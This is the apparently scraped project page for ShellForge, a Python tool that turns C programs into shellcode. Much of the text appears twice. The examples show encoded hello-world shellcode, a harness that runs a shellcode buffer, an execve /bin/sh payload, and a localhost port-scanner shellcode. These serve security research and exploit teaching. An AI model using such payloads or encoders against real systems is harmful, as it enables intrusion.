Source : http://www.secdev.org
ShellForge G3 development is ongoing. You can grab the latest version on mercurial.
hg clone You'll need the ShellForge Library. Get the latest version of the SFlib generator :
hg clone http://hg.secdev.org/sflib
and generate a ShellForge Library :
ShellForge G2
ShellForge G2 has been presented at CanSecWest (slides)
This page will be updated in the upcoming weeks, with G2 archive ready.
You still can get a Shellforge G2 pre-release archive.
ShellForge G1
Download version 0.1.15 : shellforge-0.1.15.tar.gz
Download presentation slides for shellforge, done at LSM03.
Intro
ShellForge is a python program that builds shellcodes from C. It is inspired from Stealth's Hellkit.
Some wrapper functions arround system calls are defined in header files. The C program uses them instead of libc calls. ShellForge uses gcc to convert it into assembler. It then modifies it a bit, compiles it, extract code from the object, may encode it and add a loader at the begining.
The available loaders are, for the moment :
* xor : encode the shellcode to avoid null bytes and add a simple xor decoder
* alpha : make an almost alphanumeric shellcode (see example)
Future evolutions :
* Make shellforge able to generate shellcodes for more architectures, natively or using cross-compilers
* Add more loaders (and finish the alpha loader)
* ...
Example
Here is the hello world program (hello.c).
We can have the raw shellcode :
We can test it :
We can have the shellcode ready for C inclusion :
We can use an xor loader to avoid \x00 bytes in the shellcode
We can use an alpha loader to have an almost alphanumeric shellcode (give me some more time to get rid of the two last non alphanumeric bytes)
The classic exec /bin/sh :
#include "include/sfsyscall.h"
More complex example : to make a shellcode that scans ports of localhost :
ShellForge G3 development is ongoing. You can grab the latest version on mercurial.
hg clone You'll need the ShellForge Library. Get the latest version of the SFlib generator :
hg clone http://hg.secdev.org/sflib
and generate a ShellForge Library :
./gensflib.py -d /path/of/my/choice/sflib
ShellForge G2 has been presented at CanSecWest (slides)
This page will be updated in the upcoming weeks, with G2 archive ready.
You still can get a Shellforge G2 pre-release archive.
ShellForge G1
Download version 0.1.15 : shellforge-0.1.15.tar.gz
Download presentation slides for shellforge, done at LSM03.
Intro
ShellForge is a python program that builds shellcodes from C. It is inspired from Stealth's Hellkit.
Some wrapper functions arround system calls are defined in header files. The C program uses them instead of libc calls. ShellForge uses gcc to convert it into assembler. It then modifies it a bit, compiles it, extract code from the object, may encode it and add a loader at the begining.
The available loaders are, for the moment :
* xor : encode the shellcode to avoid null bytes and add a simple xor decoder
* alpha : make an almost alphanumeric shellcode (see example)
Future evolutions :
* Make shellforge able to generate shellcodes for more architectures, natively or using cross-compilers
* Add more loaders (and finish the alpha loader)
* ...
Example
Here is the hello world program (hello.c).
Code:
#include "include/sfsyscall.h" int main(void) { char buf[] = "Hello world!\n"; write(1, buf, sizeof(buf)); exit(0); }
$ ./shellforge.py hello.c
** Compiling hello.c
** Tuning original assembler code
** Assembling modified asm
** Retrieving machine code
** Computing xor encryption key
** Shellcode forged!
\x55\x89\xe5\x83\xec\x24\x53\xe8\x00\x00\x00\x00\x5b\x83\xc3\xf4\x8b\x83\x67\x00
\x00\x00\x89\x45\xf0\x8b\x83\x6b\x00\x00\x00\x89\x45\xf4\x8b\x83\x6f\x00\x00\x00
\x89\x45\xf8\x0f\xb7\x83\x73\x00\x00\x00\x66\x89\x45\xfc\x8d\x4d\xf0\xba\x0e\x00
\x00\x00\xb8\x04\x00\x00\x00\xc7\x45\xec\x01\x00\x00\x00\x53\x8b\x59\xfc\xcd\x80
\x5b\xb8\x01\x00\x00\x00\xc7\x45\xec\x00\x00\x00\x00\x53\x8b\x59\xfc\xcd\x80\x5b
\x5b\xc9\xc3\x48\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21\x0a\x00
** Compiling hello.c
** Tuning original assembler code
** Assembling modified asm
** Retrieving machine code
** Computing xor encryption key
** Shellcode forged!
\x55\x89\xe5\x83\xec\x24\x53\xe8\x00\x00\x00\x00\x5b\x83\xc3\xf4\x8b\x83\x67\x00
\x00\x00\x89\x45\xf0\x8b\x83\x6b\x00\x00\x00\x89\x45\xf4\x8b\x83\x6f\x00\x00\x00
\x89\x45\xf8\x0f\xb7\x83\x73\x00\x00\x00\x66\x89\x45\xfc\x8d\x4d\xf0\xba\x0e\x00
\x00\x00\xb8\x04\x00\x00\x00\xc7\x45\xec\x01\x00\x00\x00\x53\x8b\x59\xfc\xcd\x80
\x5b\xb8\x01\x00\x00\x00\xc7\x45\xec\x00\x00\x00\x00\x53\x8b\x59\xfc\xcd\x80\x5b
\x5b\xc9\xc3\x48\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64\x21\x0a\x00
$ ./shellforge.py -tt hello.c
** Compiling hello.c
** Tuning original assembler code
** Assembling modified asm
** Retrieving machine code
** Computing xor encryption key
** Shellcode forged!
** Compiling test program
** Running test program
Hello world!
** Test done! Returned status=0
** Compiling hello.c
** Tuning original assembler code
** Assembling modified asm
** Retrieving machine code
** Computing xor encryption key
** Shellcode forged!
** Compiling test program
** Running test program
Hello world!
** Test done! Returned status=0
$ ./shellforge.py -v0 -C hello.c
unsigned char shellcode[] =
"\x55\x89\xe5\x83\xec\x24\x53\xe8\x00\x00\x00\x00\x5b\x83\xc3\xf4\x8b\x83\x67"
"\x00\x00\x00\x89\x45\xf0\x8b\x83\x6b\x00\x00\x00\x89\x45\xf4\x8b\x83\x6f\x00"
"\x00\x00\x89\x45\xf8\x0f\xb7\x83\x73\x00\x00\x00\x66\x89\x45\xfc\x8d\x4d\xf0"
"\xba\x0e\x00\x00\x00\xb8\x04\x00\x00\x00\xc7\x45\xec\x01\x00\x00\x00\x53\x8b"
"\x59\xfc\xcd\x80\x5b\xb8\x01\x00\x00\x00\xc7\x45\xec\x00\x00\x00\x00\x53\x8b"
"\x59\xfc\xcd\x80\x5b\x5b\xc9\xc3\x48\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64"
"\x21\x0a\x00";
int main(void) { ((void (*)())shellcode)(); }
unsigned char shellcode[] =
"\x55\x89\xe5\x83\xec\x24\x53\xe8\x00\x00\x00\x00\x5b\x83\xc3\xf4\x8b\x83\x67"
"\x00\x00\x00\x89\x45\xf0\x8b\x83\x6b\x00\x00\x00\x89\x45\xf4\x8b\x83\x6f\x00"
"\x00\x00\x89\x45\xf8\x0f\xb7\x83\x73\x00\x00\x00\x66\x89\x45\xfc\x8d\x4d\xf0"
"\xba\x0e\x00\x00\x00\xb8\x04\x00\x00\x00\xc7\x45\xec\x01\x00\x00\x00\x53\x8b"
"\x59\xfc\xcd\x80\x5b\xb8\x01\x00\x00\x00\xc7\x45\xec\x00\x00\x00\x00\x53\x8b"
"\x59\xfc\xcd\x80\x5b\x5b\xc9\xc3\x48\x65\x6c\x6c\x6f\x20\x77\x6f\x72\x6c\x64"
"\x21\x0a\x00";
int main(void) { ((void (*)())shellcode)(); }
$ ./shellforge.py -v0 -x hello.c
\xeb\x0d\x5e\x31\xc9\xb1\x75\x80\x36\x02\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff
\x57\x8b\xe7\x81\xee\x26\x51\xea\x02\x02\x02\x02\x59\x81\xc1\xf6\x89\x81\x65\x02
\x02\x02\x8b\x47\xf2\x89\x81\x69\x02\x02\x02\x8b\x47\xf6\x89\x81\x6d\x02\x02\x02
\x8b\x47\xfa\x0d\xb5\x81\x71\x02\x02\x02\x64\x8b\x47\xfe\x8f\x4f\xf2\xb8\x0c\x02
\x02\x02\xba\x06\x02\x02\x02\xc5\x47\xee\x03\x02\x02\x02\x51\x89\x5b\xfe\xcf\x82
\x59\xba\x03\x02\x02\x02\xc5\x47\xee\x02\x02\x02\x02\x51\x89\x5b\xfe\xcf\x82\x59
\x59\xcb\xc1\x4a\x67\x6e\x6e\x6d\x22\x75\x6d\x70\x6e\x66\x23\x08\x02
\xeb\x0d\x5e\x31\xc9\xb1\x75\x80\x36\x02\x46\xe2\xfa\xeb\x05\xe8\xee\xff\xff\xff
\x57\x8b\xe7\x81\xee\x26\x51\xea\x02\x02\x02\x02\x59\x81\xc1\xf6\x89\x81\x65\x02
\x02\x02\x8b\x47\xf2\x89\x81\x69\x02\x02\x02\x8b\x47\xf6\x89\x81\x6d\x02\x02\x02
\x8b\x47\xfa\x0d\xb5\x81\x71\x02\x02\x02\x64\x8b\x47\xfe\x8f\x4f\xf2\xb8\x0c\x02
\x02\x02\xba\x06\x02\x02\x02\xc5\x47\xee\x03\x02\x02\x02\x51\x89\x5b\xfe\xcf\x82
\x59\xba\x03\x02\x02\x02\xc5\x47\xee\x02\x02\x02\x02\x51\x89\x5b\xfe\xcf\x82\x59
\x59\xcb\xc1\x4a\x67\x6e\x6e\x6d\x22\x75\x6d\x70\x6e\x66\x23\x08\x02
$ ./shellforge.py -v0 -R --loader=alpha hello.c
hAAAAX5AAAAHPPPPPPPPah0B20X5Tc80Ph0504X5GZBXPh445AX5XXZaPhAD00X5wxxUPTYII19hA000
X5sOkkPTYII19h0000X5cDi3PTY19I19I19I19h0000X50000Ph0A0AX50yuRPTY19I19I19I19h0000
X5w100PTYIII19h0A00X53sOkPTYI19h0000X50cDiPTYI19I19hA000X5R100PTYIII19h00A0X500y
uPTYI19I19h0000X50w40PTYII19I19h0600X5u800PTYIII19h0046X53By9PTY19I19I19h0000X50
VFuPTYI19I19h0000X5LC00PTYIII19h0060X5u79xPTY19I19I19I19h0000X5000FPTY19I19h2005
X59DLZPTYI19h0000X500FuPTYI19I19h0010X5DLZ0PTYII19h0006X50Fu9PTY19I19I19I19h0000
X5LW00PTYIII19h0D20X5Lx9DPTY19h0000X5000kPhA0A0X5ecV0PTYI19I19h0B0AX5FXLRPTY19h5
550X5ZZZePTYI19ÿä
hAAAAX5AAAAHPPPPPPPPah0B20X5Tc80Ph0504X5GZBXPh445AX5XXZaPhAD00X5wxxUPTYII19hA000
X5sOkkPTYII19h0000X5cDi3PTY19I19I19I19h0000X50000Ph0A0AX50yuRPTY19I19I19I19h0000
X5w100PTYIII19h0A00X53sOkPTYI19h0000X50cDiPTYI19I19hA000X5R100PTYIII19h00A0X500y
uPTYI19I19h0000X50w40PTYII19I19h0600X5u800PTYIII19h0046X53By9PTY19I19I19h0000X50
VFuPTYI19I19h0000X5LC00PTYIII19h0060X5u79xPTY19I19I19I19h0000X5000FPTY19I19h2005
X59DLZPTYI19h0000X500FuPTYI19I19h0010X5DLZ0PTYII19h0006X50Fu9PTY19I19I19I19h0000
X5LW00PTYIII19h0D20X5Lx9DPTY19h0000X5000kPhA0A0X5ecV0PTYI19I19h0B0AX5FXLRPTY19h5
550X5ZZZePTYI19ÿä
#include "include/sfsyscall.h"
Code:
int main(void) { char *a[] = {"/bin/sh", 0}; execve(a[0], a, 0); }
Code:
#include "include/sfsyscall.h" #include "include/sfsocket.h" #define FIRST 1 #define LAST 1024 int main(void) { struct sockaddr_in sa; int s,i; char buf[1024]; sa.sin_family = PF_INET; sa.sin_addr.s_addr = 0x0100007f; i=FIRST-1; write(1,"begin [",8); reopen: if ((s = socket(PF_INET, SOCK_STREAM, 0)) < 0) write(1,"erreur\n",7); while(++i < LAST) { sa.sin_port = htons(i); if (connect(s, (struct sockaddr *)&sa, sizeof(struct sockaddr)) == 0) { write(1, &i, sizeof(i)); close(s); goto reopen; } } write(1,"]end",4); close(1); exit(0); }
Commentaire